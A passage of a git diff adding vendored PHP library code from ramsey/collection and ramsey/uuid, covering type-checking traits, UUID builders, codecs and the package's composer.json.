$setType; + parent::__construct($data); + } + + public function getType(): string + { + return $this->setType; + } +} diff --git a/vendor/ramsey/collection/src/Tool/TypeTrait.php b/vendor/ramsey/collection/src/Tool/TypeTrait.php new file mode 100644 index 000000000..728d44b65 --- /dev/null +++ b/vendor/ramsey/collection/src/Tool/TypeTrait.php @@ -0,0 +1,74 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Collection\Tool; + +use function is_array; +use function is_bool; +use function is_callable; +use function is_float; +use function is_int; +use function is_numeric; +use function is_object; +use function is_resource; +use function is_scalar; +use function is_string; + +/** + * Provides functionality to check values for specific types. + */ +trait TypeTrait +{ + /** + * Returns `true` if value is of the specified type. + * + * @param string $type The type to check the value against. + * @param mixed $value The value to check. + */ + // phpcs:ignore SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint + protected function checkType(string $type, $value): bool + { + switch ($type) { + case 'array': + return is_array($value); + case 'bool': + case 'boolean': + return is_bool($value); + case 'callable': + return is_callable($value); + case 'float': + case 'double': + return is_float($value); + case 'int': + case 'integer': + return is_int($value); + case 'null': + return $value === null; + case 'numeric': + return is_numeric($value); + case 'object': + return is_object($value); + case 'resource': + return is_resource($value); + case 'scalar': + return is_scalar($value); + case 'string': + return is_string($value); + case 'mixed': + return true; + default: + return $value instanceof $type; + } + } +} diff --git a/vendor/ramsey/collection/src/Tool/ValueExtractorTrait.php b/vendor/ramsey/collection/src/Tool/ValueExtractorTrait.php new file mode 100644 index 000000000..e10824283 --- /dev/null +++ b/vendor/ramsey/collection/src/Tool/ValueExtractorTrait.php @@ -0,0 +1,61 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Collection\Tool; + +use Ramsey\Collection\Exception\ValueExtractionException; + +use function get_class; +use function is_object; +use function method_exists; +use function property_exists; +use function sprintf; + +/** + * Provides functionality to extract the value of a property or method from an object. + */ +trait ValueExtractorTrait +{ + /** + * Extracts the value of the given property or method from the object. + * + * @param mixed $object The object to extract the value from. + * @param string $propertyOrMethod The property or method for which the + * value should be extracted. + * + * @return mixed the value extracted from the specified property or method. + * + * @throws ValueExtractionException if the method or property is not defined. + */ + // phpcs:ignore SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint + protected function extractValue($object, string $propertyOrMethod) + { + if (!is_object($object)) { + throw new ValueExtractionException('Unable to extract a value from a non-object'); + } + + if (property_exists($object, $propertyOrMethod)) { + return $object->$propertyOrMethod; + } + + if (method_exists($object, $propertyOrMethod)) { + return $object->{$propertyOrMethod}(); + } + + throw new ValueExtractionException( + // phpcs:ignore SlevomatCodingStandard.Classes.ModernClassNameReference.ClassNameReferencedViaFunctionCall + sprintf('Method or property "%s" not defined in %s', $propertyOrMethod, get_class($object)), + ); + } +} diff --git a/vendor/ramsey/collection/src/Tool/ValueToStringTrait.php b/vendor/ramsey/collection/src/Tool/ValueToStringTrait.php new file mode 100644 index 000000000..cacefc8b6 --- /dev/null +++ b/vendor/ramsey/collection/src/Tool/ValueToStringTrait.php @@ -0,0 +1,98 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Collection\Tool; + +use DateTimeInterface; + +use function get_class; +use function get_resource_type; +use function is_array; +use function is_bool; +use function is_callable; +use function is_object; +use function is_resource; +use function is_scalar; +use function var_export; + +/** + * Provides functionality to express a value as string + */ +trait ValueToStringTrait +{ + /** + * Returns a string representation of the value. + * + * - null value: `'NULL'` + * - boolean: `'TRUE'`, `'FALSE'` + * - array: `'Array'` + * - scalar: converted-value + * - resource: `'(type resource #number)'` + * - object with `__toString()`: result of `__toString()` + * - object DateTime: ISO 8601 date + * - object: `'(className Object)'` + * - anonymous function: same as object + * + * @param mixed $value the value to return as a string. + */ + // phpcs:ignore SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint + protected function toolValueToString($value): string + { + // null + if ($value === null) { + return 'NULL'; + } + + // boolean constants + if (is_bool($value)) { + return $value ? 'TRUE' : 'FALSE'; + } + + // array + if (is_array($value)) { + return 'Array'; + } + + // scalar types (integer, float, string) + if (is_scalar($value)) { + return (string) $value; + } + + // resource + if (is_resource($value)) { + return '(' . get_resource_type($value) . ' resource #' . (int) $value . ')'; + } + + // If we don't know what it is, use var_export(). + if (!is_object($value)) { + return '(' . var_export($value, true) . ')'; + } + + // From here, $value should be an object. + + // __toString() is implemented + if (is_callable([$value, '__toString'])) { + return (string) $value->__toString(); + } + + // object of type \DateTime + if ($value instanceof DateTimeInterface) { + return $value->format('c'); + } + + // unknown type + // phpcs:ignore SlevomatCodingStandard.Classes.ModernClassNameReference.ClassNameReferencedViaFunctionCall + return '(' . get_class($value) . ' Object)'; + } +} diff --git a/vendor/ramsey/uuid/composer.json b/vendor/ramsey/uuid/composer.json new file mode 100644 index 000000000..3f3b5ac42 --- /dev/null +++ b/vendor/ramsey/uuid/composer.json @@ -0,0 +1,107 @@ +{ + "name": "ramsey/uuid", + "type": "library", + "description": "A PHP library for generating and working with universally unique identifiers (UUIDs).", + "keywords": [ + "uuid", + "identifier", + "guid" + ], + "license": "MIT", + "require": { + "php": "^7.2 || ^8.0", + "ext-json": "*", + "brick/math": "^0.8 || ^0.9", + "ramsey/collection": "^1.0", + "symfony/polyfill-ctype": "^1.8", + "symfony/polyfill-php80": "^1.14" + }, + "replace": { + "rhumsaa/uuid": "self.version" + }, + "require-dev": { + "captainhook/captainhook": "^5.10", + "captainhook/plugin-composer": "^5.3", + "dealerdirect/phpcodesniffer-composer-installer": "^0.7.0", + "doctrine/annotations": "^1.8", + "ergebnis/composer-normalize": "^2.15", + "mockery/mockery": "^1.3", + "moontoast/math": "^1.1", + "paragonie/random-lib": "^2", + "php-mock/php-mock": "^2.2", + "php-mock/php-mock-mockery": "^1.3", + "php-parallel-lint/php-parallel-lint": "^1.1", + "phpbench/phpbench": "^1.0", + "phpstan/extension-installer": "^1.0", + "phpstan/phpstan": "^0.12", + "phpstan/phpstan-mockery": "^0.12", + "phpstan/phpstan-phpunit": "^0.12", + "phpunit/phpunit": "^8.5 || ^9", + "slevomat/coding-standard": "^7.0", + "squizlabs/php_codesniffer": "^3.5", + "vimeo/psalm": "^4.9" + }, + "suggest": { + "ext-bcmath": "Enables faster math with arbitrary-precision integers using BCMath.", + "ext-ctype": "Enables faster processing of character classification using ctype functions.", + "ext-gmp": "Enables faster math with arbitrary-precision integers using GMP.", + "ext-uuid": "Enables the use of PeclUuidTimeGenerator and PeclUuidRandomGenerator.", + "paragonie/random-lib": "Provides RandomLib for use with the RandomLibAdapter", + "ramsey/uuid-doctrine": "Allows the use of Ramsey\\Uuid\\Uuid as Doctrine field type." + }, + "config": { + "sort-packages": true + }, + "extra": { + "branch-alias": { + "dev-main": "4.x-dev" + }, + "captainhook": { + "force-install": true + } + }, + "autoload": { + "psr-4": { + "Ramsey\\Uuid\\": "src/" + }, + "files": [ + "src/functions.php" + ] + }, + "autoload-dev": { + "psr-4": { + "Ramsey\\Uuid\\Benchmark\\": "tests/benchmark/", + "Ramsey\\Uuid\\StaticAnalysis\\": "tests/static-analysis/", + "Ramsey\\Uuid\\Test\\": "tests/" + } + }, + "minimum-stability": "dev", + "prefer-stable": true, + "scripts": { + "analyze": [ + "@phpstan", + "@psalm" + ], + "build:clean": "git clean -fX build/", + "lint": "parallel-lint src tests", + "lint:paths": "parallel-lint", + "phpbench": "phpbench run", + "phpcbf": "phpcbf -vpw --cache=build/cache/phpcs.cache", + "phpcs": "phpcs --cache=build/cache/phpcs.cache", + "phpstan": [ + "phpstan analyse --no-progress", + "phpstan analyse -c phpstan-tests.neon --no-progress" + ], + "phpunit": "phpunit --verbose --colors=always", + "phpunit-coverage": "phpunit --verbose --colors=always --coverage-html build/coverage", + "psalm": "psalm --show-info=false --config=psalm.xml", + "test": [ + "@lint", + "@phpbench", + "@phpcs", + "@phpstan", + "@psalm", + "@phpunit" + ] + } +} diff --git a/vendor/ramsey/uuid/src/BinaryUtils.php b/vendor/ramsey/uuid/src/BinaryUtils.php new file mode 100644 index 000000000..fb8ba9adc --- /dev/null +++ b/vendor/ramsey/uuid/src/BinaryUtils.php @@ -0,0 +1,63 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid; + +/** + * Provides binary math utilities + */ +class BinaryUtils +{ + /** + * Applies the RFC 4122 variant field to the 16-bit clock sequence + * + * @link http://tools.ietf.org/html/rfc4122#section-4.1.1 RFC 4122, § 4.1.1: Variant + * + * @param int $clockSeq The 16-bit clock sequence value before the RFC 4122 + * variant is applied + * + * @return int The 16-bit clock sequence multiplexed with the UUID variant + * + * @psalm-pure + */ + public static function applyVariant(int $clockSeq): int + { + $clockSeq = $clockSeq & 0x3fff; + $clockSeq |= 0x8000; + + return $clockSeq; + } + + /** + * Applies the RFC 4122 version number to the 16-bit `time_hi_and_version` field + * + * @link http://tools.ietf.org/html/rfc4122#section-4.1.3 RFC 4122, § 4.1.3: Version + * + * @param int $timeHi The value of the 16-bit `time_hi_and_version` field + * before the RFC 4122 version is applied + * @param int $version The RFC 4122 version to apply to the `time_hi` field + * + * @return int The 16-bit time_hi field of the timestamp multiplexed with + * the UUID version number + * + * @psalm-pure + */ + public static function applyVersion(int $timeHi, int $version): int + { + $timeHi = $timeHi & 0x0fff; + $timeHi |= $version << 12; + + return $timeHi; + } +} diff --git a/vendor/ramsey/uuid/src/Builder/BuilderCollection.php b/vendor/ramsey/uuid/src/Builder/BuilderCollection.php new file mode 100644 index 000000000..89fa1e3c8 --- /dev/null +++ b/vendor/ramsey/uuid/src/Builder/BuilderCollection.php @@ -0,0 +1,80 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Builder; + +use Ramsey\Collection\AbstractCollection; +use Ramsey\Uuid\Converter\Number\GenericNumberConverter; +use Ramsey\Uuid\Converter\Time\GenericTimeConverter; +use Ramsey\Uuid\Converter\Time\PhpTimeConverter; +use Ramsey\Uuid\Guid\GuidBuilder; +use Ramsey\Uuid\Math\BrickMathCalculator; +use Ramsey\Uuid\Nonstandard\UuidBuilder as NonstandardUuidBuilder; +use Ramsey\Uuid\Rfc4122\UuidBuilder as Rfc4122UuidBuilder; +use Traversable; + +/** + * A collection of UuidBuilderInterface objects + * + * @extends AbstractCollection + */ +class BuilderCollection extends AbstractCollection +{ + public function getType(): string + { + return UuidBuilderInterface::class; + } + + /** + * @psalm-mutation-free + * @psalm-suppress ImpureMethodCall + * @psalm-suppress InvalidTemplateParam + */ + public function getIterator(): Traversable + { + return parent::getIterator(); + } + + /** + * Re-constructs the object from its serialized form + * + * @param string $serialized The serialized PHP string to unserialize into + * a UuidInterface instance + * + * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint + * @psalm-suppress RedundantConditionGivenDocblockType + */ + public function unserialize($serialized): void + { + /** @var array $data */ + $data = unserialize($serialized, [ + 'allowed_classes' => [ + BrickMathCalculator::class, + GenericNumberConverter::class, + GenericTimeConverter::class, + GuidBuilder::class, + NonstandardUuidBuilder::class, + PhpTimeConverter::class, + Rfc4122UuidBuilder::class, + ], + ]); + + $this->data = array_filter( + $data, + function ($unserialized): bool { + return $unserialized instanceof UuidBuilderInterface; + } + ); + } +} diff --git a/vendor/ramsey/uuid/src/Builder/DefaultUuidBuilder.php b/vendor/ramsey/uuid/src/Builder/DefaultUuidBuilder.php new file mode 100644 index 000000000..7c4a6f837 --- /dev/null +++ b/vendor/ramsey/uuid/src/Builder/DefaultUuidBuilder.php @@ -0,0 +1,26 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Builder; + +use Ramsey\Uuid\Rfc4122\UuidBuilder as Rfc4122UuidBuilder; + +/** + * @deprecated Transition to {@see Rfc4122UuidBuilder}. + * + * @psalm-immutable + */ +class DefaultUuidBuilder extends Rfc4122UuidBuilder +{ +} diff --git a/vendor/ramsey/uuid/src/Builder/DegradedUuidBuilder.php b/vendor/ramsey/uuid/src/Builder/DegradedUuidBuilder.php new file mode 100644 index 000000000..23931e416 --- /dev/null +++ b/vendor/ramsey/uuid/src/Builder/DegradedUuidBuilder.php @@ -0,0 +1,76 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Builder; + +use Ramsey\Uuid\Codec\CodecInterface; +use Ramsey\Uuid\Converter\NumberConverterInterface; +use Ramsey\Uuid\Converter\Time\DegradedTimeConverter; +use Ramsey\Uuid\Converter\TimeConverterInterface; +use Ramsey\Uuid\DegradedUuid; +use Ramsey\Uuid\Rfc4122\Fields as Rfc4122Fields; +use Ramsey\Uuid\UuidInterface; + +/** + * @deprecated DegradedUuid instances are no longer necessary to support 32-bit + * systems. Transition to {@see DefaultUuidBuilder}. + * + * @psalm-immutable + */ +class DegradedUuidBuilder implements UuidBuilderInterface +{ + /** + * @var NumberConverterInterface + */ + private $numberConverter; + + /** + * @var TimeConverterInterface + */ + private $timeConverter; + + /** + * @param NumberConverterInterface $numberConverter The number converter to + * use when constructing the DegradedUuid + * @param TimeConverterInterface|null $timeConverter The time converter to use + * for converting timestamps extracted from a UUID to Unix timestamps + */ + public function __construct( + NumberConverterInterface $numberConverter, + ?TimeConverterInterface $timeConverter = null + ) { + $this->numberConverter = $numberConverter; + $this->timeConverter = $timeConverter ?: new DegradedTimeConverter(); + } + + /** + * Builds and returns a DegradedUuid + * + * @param CodecInterface $codec The codec to use for building this DegradedUuid instance + * @param string $bytes The byte string from which to construct a UUID + * + * @return DegradedUuid The DegradedUuidBuild returns an instance of Ramsey\Uuid\DegradedUuid + * + * @psalm-pure + */ + public function build(CodecInterface $codec, string $bytes): UuidInterface + { + return new DegradedUuid( + new Rfc4122Fields($bytes), + $this->numberConverter, + $codec, + $this->timeConverter + ); + } +} diff --git a/vendor/ramsey/uuid/src/Builder/FallbackBuilder.php b/vendor/ramsey/uuid/src/Builder/FallbackBuilder.php new file mode 100644 index 000000000..470d2f755 --- /dev/null +++ b/vendor/ramsey/uuid/src/Builder/FallbackBuilder.php @@ -0,0 +1,74 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Builder; + +use Ramsey\Uuid\Codec\CodecInterface; +use Ramsey\Uuid\Exception\BuilderNotFoundException; +use Ramsey\Uuid\Exception\UnableToBuildUuidException; +use Ramsey\Uuid\UuidInterface; + +/** + * FallbackBuilder builds a UUID by stepping through a list of UUID builders + * until a UUID can be constructed without exceptions + * + * @psalm-immutable + */ +class FallbackBuilder implements UuidBuilderInterface +{ + /** + * @var BuilderCollection + */ + private $builders; + + /** + * @param BuilderCollection $builders An array of UUID builders + */ + public function __construct(BuilderCollection $builders) + { + $this->builders = $builders; + } + + /** + * Builds and returns a UuidInterface instance using the first builder that + * succeeds + * + * @param CodecInterface $codec The codec to use for building this instance + * @param string $bytes The byte string from which to construct a UUID + * + * @return UuidInterface an instance of a UUID object + * + * @psalm-pure + */ + public function build(CodecInterface $codec, string $bytes): UuidInterface + { + $lastBuilderException = null; + + foreach ($this->builders as $builder) { + try { + return $builder->build($codec, $bytes); + } catch (UnableToBuildUuidException $exception) { + $lastBuilderException = $exception; + + continue; + } + } + + throw new BuilderNotFoundException( + 'Could not find a suitable builder for the provided codec and fields', + 0, + $lastBuilderException + ); + } +} diff --git a/vendor/ramsey/uuid/src/Builder/UuidBuilderInterface.php b/vendor/ramsey/uuid/src/Builder/UuidBuilderInterface.php new file mode 100644 index 000000000..8e58b2b43 --- /dev/null +++ b/vendor/ramsey/uuid/src/Builder/UuidBuilderInterface.php @@ -0,0 +1,39 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Builder; + +use Ramsey\Uuid\Codec\CodecInterface; +use Ramsey\Uuid\UuidInterface; + +/** + * A UUID builder builds instances of UuidInterface + * + * @psalm-immutable + */ +interface UuidBuilderInterface +{ + /** + * Builds and returns a UuidInterface + * + * @param CodecInterface $codec The codec to use for building this UuidInterface instance + * @param string $bytes The byte string from which to construct a UUID + * + * @return UuidInterface Implementations may choose to return more specific + * instances of UUIDs that implement UuidInterface + * + * @psalm-pure + */ + public function build(CodecInterface $codec, string $bytes): UuidInterface; +} diff --git a/vendor/ramsey/uuid/src/Codec/CodecInterface.php b/vendor/ramsey/uuid/src/Codec/CodecInterface.php new file mode 100644 index 000000000..85f8a7e99 --- /dev/null +++ b/vendor/ramsey/uuid/src/Codec/CodecInterface.php @@ -0,0 +1,71 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Codec; + +use Ramsey\Uuid\UuidInterface; + +/** + * A codec encodes and decodes a UUID according to defined rules + * + * @psalm-immutable + */ +interface CodecInterface +{ + /** + * Returns a hexadecimal string representation of a UuidInterface + * + * @param UuidInterface $uuid The UUID for which to create a hexadecimal + * string representation + * + * @return string Hexadecimal string representation of a UUID + * + * @psalm-return non-empty-string + */ + public function encode(UuidInterface $uuid): string; + + /** + * Returns a binary string representation of a UuidInterface + * + * @param UuidInterface $uuid The UUID for which to create a binary string + * representation + * + * @return string Binary string representation of a UUID + * + * @psalm-return non-empty-string + */ + public function encodeBinary(UuidInterface $uuid): string; + + /** + * Returns a UuidInterface derived from a hexadecimal string representation + * + * @param string $encodedUuid The hexadecimal string representation to + * convert into a UuidInterface instance + * + * @return UuidInterface An instance of a UUID decoded from a hexadecimal + * string representation + */ + public function decode(string $encodedUuid): UuidInterface; + + /** + * Returns a UuidInterface derived from a binary string representation + * + * @param string $bytes The binary string representation to convert into a + * UuidInterface instance + * + * @return UuidInterface An instance of a UUID decoded from a binary string + * representation + */ + public function decodeBytes(string $bytes): UuidInterface; +} diff --git a/vendor/ramsey/uuid/src/Codec/GuidStringCodec.php b/vendor/ramsey/uuid/src/Codec/GuidStringCodec.php new file mode 100644 index 000000000..f11e9d50a --- /dev/null +++ b/vendor/ramsey/uuid/src/Codec/GuidStringCodec.php @@ -0,0 +1,55 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Codec; + +use Ramsey\Uuid\Guid\Guid; +use Ramsey\Uuid\UuidInterface; + +use function bin2hex; +use function substr; + +/** + * GuidStringCodec encodes and decodes globally unique identifiers (GUID) + * + * @see Guid + * + * @psalm-immutable + */ +class GuidStringCodec extends StringCodec +{ + public function decode(string $encodedUuid): UuidInterface + { + $bytes = $this->getBytes($encodedUuid); + + return $this->getBuilder()->build($this, $this->swapBytes($bytes)); + } + + public function decodeBytes(string $bytes): UuidInterface + { + // Specifically call parent::decode to preserve correct byte order + return parent::decode(bin2hex($bytes)); + } + + /** + * Swaps bytes according to the GUID rules + */ + private function swapBytes(string $bytes): string + { + return $bytes[3] . $bytes[2] . $bytes[1] . $bytes[0] + . $bytes[5] . $bytes[4] + . $bytes[7] . $bytes[6] + . substr($bytes, 8); + } +} diff --git a/vendor/ramsey/uuid/src/Codec/OrderedTimeCodec.php b/vendor/ramsey/uuid/src/Codec/OrderedTimeCodec.php new file mode 100644 index 000000000..0798ebc4d --- /dev/null +++ b/vendor/ramsey/uuid/src/Codec/OrderedTimeCodec.php @@ -0,0 +1,113 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Codec; + +use Ramsey\Uuid\Exception\InvalidArgumentException; +use Ramsey\Uuid\Exception\UnsupportedOperationException; +use Ramsey\Uuid\Rfc4122\FieldsInterface as Rfc4122FieldsInterface; +use Ramsey\Uuid\Uuid; +use Ramsey\Uuid\UuidInterface; + +use function strlen; +use function substr; + +/** + * OrderedTimeCodec encodes and decodes a UUID, optimizing the byte order for + * more efficient storage + * + * For binary representations of version 1 UUID, this codec may be used to + * reorganize the time fields, making the UUID closer to sequential when storing + * the bytes. According to Percona, this optimization can improve database + * INSERTs and SELECTs using the UUID column as a key. + * + * The string representation of the UUID will remain unchanged. Only the binary + * representation is reordered. + * + * **PLEASE NOTE:** Binary representations of UUIDs encoded with this codec must + * be decoded with this codec. Decoding using another codec can result in + * malformed UUIDs. + * + * @link https://www.percona.com/blog/2014/12/19/store-uuid-optimized-way/ Storing UUID Values in MySQL + * + * @psalm-immutable + */ +class OrderedTimeCodec extends StringCodec +{ + /** + * Returns a binary string representation of a UUID, with the timestamp + * fields rearranged for optimized storage + * + * @inheritDoc + * @psalm-return non-empty-string + * @psalm-suppress MoreSpecificReturnType we know that the retrieved `string` is never empty + * @psalm-suppress LessSpecificReturnStatement we know that the retrieved `string` is never empty + */ + public function encodeBinary(UuidInterface $uuid): string + { + if ( + !($uuid->getFields() instanceof Rfc4122FieldsInterface) + || $uuid->getFields()->getVersion() !== Uuid::UUID_TYPE_TIME + ) { + throw new InvalidArgumentException( + 'Expected RFC 4122 version 1 (time-based) UUID' + ); + } + + $bytes = $uuid->getFields()->getBytes(); + + /** @phpstan-ignore-next-line PHPStan complains that this is not a non-empty-string. */ + return $bytes[6] . $bytes[7] + . $bytes[4] . $bytes[5] + . $bytes[0] . $bytes[1] . $bytes[2] . $bytes[3] + . substr($bytes, 8); + } + + /** + * Returns a UuidInterface derived from an ordered-time binary string + * representation + * + * @throws InvalidArgumentException if $bytes is an invalid length + * + * @inheritDoc + */ + public function decodeBytes(string $bytes): UuidInterface + { + if (strlen($bytes) !== 16) { + throw new InvalidArgumentException( + '$bytes string should contain 16 characters.' + ); + } + + // Rearrange the bytes to their original order. + $rearrangedBytes = $bytes[4] . $bytes[5] . $bytes[6] . $bytes[7] + . $bytes[2] . $bytes[3] + . $bytes[0] . $bytes[1] + . substr($bytes, 8); + + $uuid = parent::decodeBytes($rearrangedBytes); + + if ( + !($uuid->getFields() instanceof Rfc4122FieldsInterface) + || $uuid->getFields()->getVersion() !== Uuid::UUID_TYPE_TIME + ) { + throw new UnsupportedOperationException( + 'Attempting to decode a non-time-based UUID using ' + . 'OrderedTimeCodec' + ); + } + + return $uuid; + } +} diff --git a/vendor/ramsey/uuid/src/Codec/StringCodec.php b/vendor/ramsey/uuid/src/Codec/StringCodec.php new file mode 100644 index 000000000..58c9f5806 --- /dev/null +++ b/vendor/ramsey/uuid/src/Codec/StringCodec.php @@ -0,0 +1,138 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Codec; + +use Ramsey\Uuid\Builder\UuidBuilderInterface; +use Ramsey\Uuid\Exception\InvalidArgumentException; +use Ramsey\Uuid\Exception\InvalidUuidStringException; +use Ramsey\Uuid\Rfc4122\FieldsInterface; +use Ramsey\Uuid\Uuid; +use Ramsey\Uuid\UuidInterface; + +use function hex2bin; +use function implode; +use function str_replace; +use function strlen; +use function substr; + +/** + * StringCodec encodes and decodes RFC 4122 UUIDs + * + * @link http://tools.ietf.org/html/rfc4122 + * + * @psalm-immutable + */ +class StringCodec implements CodecInterface +{ + /** + * @var UuidBuilderInterface + */ + private $builder; + + /** + * Constructs a StringCodec + * + * @param UuidBuilderInterface $builder The builder to use when encoding UUIDs + */ + public function __construct(UuidBuilderInterface $builder) + { + $this->builder = $builder; + } + + public function encode(UuidInterface $uuid): string + { + /** @var FieldsInterface $fields */ + $fields = $uuid->getFields(); + + return $fields->getTimeLow()->toString() + . '-' + . $fields->getTimeMid()->toString() + . '-' + . $fields->getTimeHiAndVersion()->toString() + . '-' + . $fields->getClockSeqHiAndReserved()->toString() + . $fields->getClockSeqLow()->toString() + . '-' + . $fields->getNode()->toString(); + } + + /** + * @psalm-return non-empty-string + * @psalm-suppress MoreSpecificReturnType we know that the retrieved `string` is never empty + * @psalm-suppress LessSpecificReturnStatement we know that the retrieved `string` is never empty + */ + public function encodeBinary(UuidInterface $uuid): string + { + /** @phpstan-ignore-next-line PHPStan complains that this is not a non-empty-string. */ + return $uuid->getFields()->getBytes(); + } + + /** + * @throws InvalidUuidStringException + * + * @inheritDoc + */ + public function decode(string $encodedUuid): UuidInterface + { + return $this->builder->build($this, $this->getBytes($encodedUuid)); + } + + public function decodeBytes(string $bytes): UuidInterface + { + if (strlen($bytes) !== 16) { + throw new InvalidArgumentException( + '$bytes string should contain 16 characters.' + ); + } + + return $this->builder->build($this, $bytes); + } + + /** + * Returns the UUID builder + */ + protected function getBuilder(): UuidBuilderInterface + { + return $this->builder; + } + + /** + * Returns a byte string of the UUID + */ + protected function getBytes(string $encodedUuid): string + { + $parsedUuid = str_replace( + ['urn:', 'uuid:', 'URN:', 'UUID:', '{', '}', '-'], + '', + $encodedUuid + ); + + $components = [ + substr($parsedUuid, 0, 8), + substr($parsedUuid, 8, 4), + substr($parsedUuid, 12, 4), + substr($parsedUuid, 16, 4), + substr($parsedUuid, 20), + ]; + + if (!Uuid::isValid(implode('-', $components))) { + throw new InvalidUuidStringException( + 'Invalid UUID string: ' . $encodedUuid + ); + } + + return (string) hex2bin($parsedUuid); + } +} diff --git a/vendor/ramsey/uuid/src/Codec/TimestampFirstCombCodec.php b/vendor/ramsey/uuid/src/Codec/TimestampFirstCombCodec.php new file mode 100644 index 000000000..0e0042d0a --- /dev/null +++ b/vendor/ramsey/uuid/src/Codec/TimestampFirstCombCodec.php @@ -0,0 +1,113 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Codec; + +use Ramsey\Uuid\Exception\InvalidUuidStringException; +use Ramsey\Uuid\UuidInterface; + +use function bin2hex; +use function sprintf; +use function substr; +use function substr_replace; + +/** + * TimestampFirstCombCodec encodes and decodes COMBs, with the timestamp as the + * first 48 bits + * + * In contrast with the TimestampLastCombCodec, the TimestampFirstCombCodec + * adds the timestamp to the first 48 bits of the COMB. To generate a + * timestamp-first COMB, set the TimestampFirstCombCodec as the codec, along + * with the CombGenerator as the random generator. + * + * ``` php + * $factory = new UuidFactory(); + * + * $factory->setCodec(new TimestampFirstCombCodec($factory->getUuidBuilder())); + * + * $factory->setRandomGenerator(new CombGenerator( + * $factory->getRandomGenerator(), + * $factory->getNumberConverter() + * )); + * + * $timestampFirstComb = $factory->uuid4(); + * ``` + * + * @link https://www.informit.com/articles/printerfriendly/25862 The Cost of GUIDs as Primary Keys + * + * @psalm-immutable + */ +class TimestampFirstCombCodec extends StringCodec +{ + /** + * @psalm-return non-empty-string + * @psalm-suppress MoreSpecificReturnType we know that the retrieved `string` is never empty + * @psalm-suppress LessSpecificReturnStatement we know that the retrieved `string` is never empty + */ + public function encode(UuidInterface $uuid): string + { + $bytes = $this->swapBytes($uuid->getFields()->getBytes()); + + return sprintf( + '%08s-%04s-%04s-%04s-%012s', + bin2hex(substr($bytes, 0, 4)), + bin2hex(substr($bytes, 4, 2)), + bin2hex(substr($bytes, 6, 2)), + bin2hex(substr($bytes, 8, 2)), + bin2hex(substr($bytes, 10)) + ); + } + + /** + * @psalm-return non-empty-string + * @psalm-suppress MoreSpecificReturnType we know that the retrieved `string` is never empty + * @psalm-suppress LessSpecificReturnStatement we know that the retrieved `string` is never empty + */ + public function encodeBinary(UuidInterface $uuid): string + { + /** @phpstan-ignore-next-line PHPStan complains that this is not a non-empty-string. */ + return $this->swapBytes($uuid->getFields()->getBytes()); + } + + /** + * @throws InvalidUuidStringException + * + * @inheritDoc + */ + public function decode(string $encodedUuid): UuidInterface + { + $bytes = $this->getBytes($encodedUuid); + + return $this->getBuilder()->build($this, $this->swapBytes($bytes)); + } + + public function decodeBytes(string $bytes): UuidInterface + { + return $this->getBuilder()->build($this, $this->swapBytes($bytes)); + } + + /** + * Swaps bytes according to the timestamp-first COMB rules + */ + private function swapBytes(string $bytes): string + { + $first48Bits = substr($bytes, 0, 6); + $last48Bits = substr($bytes, -6); + + $bytes = substr_replace($bytes, $last48Bits, 0, 6); + $bytes = substr_replace($bytes, $first48Bits, -6); + + return $bytes; + } +} diff --git a/vendor/ramsey/uuid/src/Codec/TimestampLastCombCodec.php b/vendor/ramsey/uuid/src/Codec/TimestampLastCombCodec.php new file mode 100644 index 000000000..4856deaed --- /dev/null +++ b/vendor/ramsey/uuid/src/Codec/TimestampLastCombCodec.php @@ -0,0 +1,51 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Codec; + +/** + * TimestampLastCombCodec encodes and decodes COMBs, with the timestamp as the + * last 48 bits + * + * The CombGenerator when used with the StringCodec (and, by proxy, the + * TimestampLastCombCodec) adds the timestamp to the last 48 bits of the COMB. + * The TimestampLastCombCodec is provided for the sake of consistency. In + * practice, it is identical to the standard StringCodec but, it may be used + * with the CombGenerator for additional context when reading code. + * + * Consider the following code. By default, the codec used by UuidFactory is the + * StringCodec, but here, we explicitly set the TimestampLastCombCodec. It is + * redundant, but it is clear that we intend this COMB to be generated with the + * timestamp appearing at the end. + * + * ``` php + * $factory = new UuidFactory(); + * + * $factory->setCodec(new TimestampLastCombCodec($factory->getUuidBuilder())); + * + * $factory->setRandomGenerator(new CombGenerator( + * $factory->getRandomGenerator(), + * $factory->getNumberConverter() + * )); + * + * $timestampLastComb = $factory->uuid4(); + * ``` + * + * @link https://www.informit.com/articles/printerfriendly/25862 The Cost of GUIDs as Primary Keys + * + * @psalm-immutable + */ +class TimestampLastCombCodec extends StringCodec +{ +} diff --git a/vendor/ramsey/uuid/src/Converter/Number/BigNumberConverter.php b/vendor/ramsey/uuid/src/Converter/Number/BigNumberConverter.php new file mode 100644 index 000000000..fef63fd00 --- /dev/null +++ b/vendor/ramsey/uuid/src/Converter/Number/BigNumberConverter.php @@ 